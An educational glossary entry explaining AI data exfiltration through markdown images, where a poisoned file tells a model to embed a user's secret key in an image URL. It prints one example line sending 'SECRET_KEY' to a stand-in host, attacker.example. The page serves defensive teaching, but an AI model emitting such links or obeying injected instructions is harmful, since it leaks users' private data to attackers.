Skip to content
BENIBIX Learn

Data Exfiltration (AI)

Also known as AI Data Exfiltration, LLM Data Exfiltration, Markdown Image Exfiltration

Getting an AI to send your data to a thief.

Think of it like

It is like a spy who hides a note in a postcard. The postman takes it out and never knows.

Example

A chat app shows images from any web address. A poisoned file tells the model to add an image whose address ends with the user's secret key. The key reaches the attacker as the image loads.

Why it matters

Data can leave with no click and no warning, through a feature that looks harmless.

Definition

Data exfiltration in AI is when an attacker gets an AI to send them private data. Hidden instructions tell the model to tuck the data inside something that leaves. A common trick is a link or an image address with the data added to the end. When the app loads the image, the data goes to the attacker's server. No one has to click anything. Builders block it by limiting where an app may load links and images from.

Example code

markdown
![logo](https://attacker.example/pixel.png?data=SECRET_KEY)
If the app loads this image, the secret travels inside the web address.
This is the third circle at work. The way out is what carries the data off.

Common mistake

Only checking what the user types. The danger is also in what the model writes back, like links and images.

Key takeaways

  1. 1
    Hidden in an address. The data rides in a link.
  2. 2
    No click needed. Loading the image is enough.
  3. 3
    Limit the ways out. Allow only trusted sites.

Compare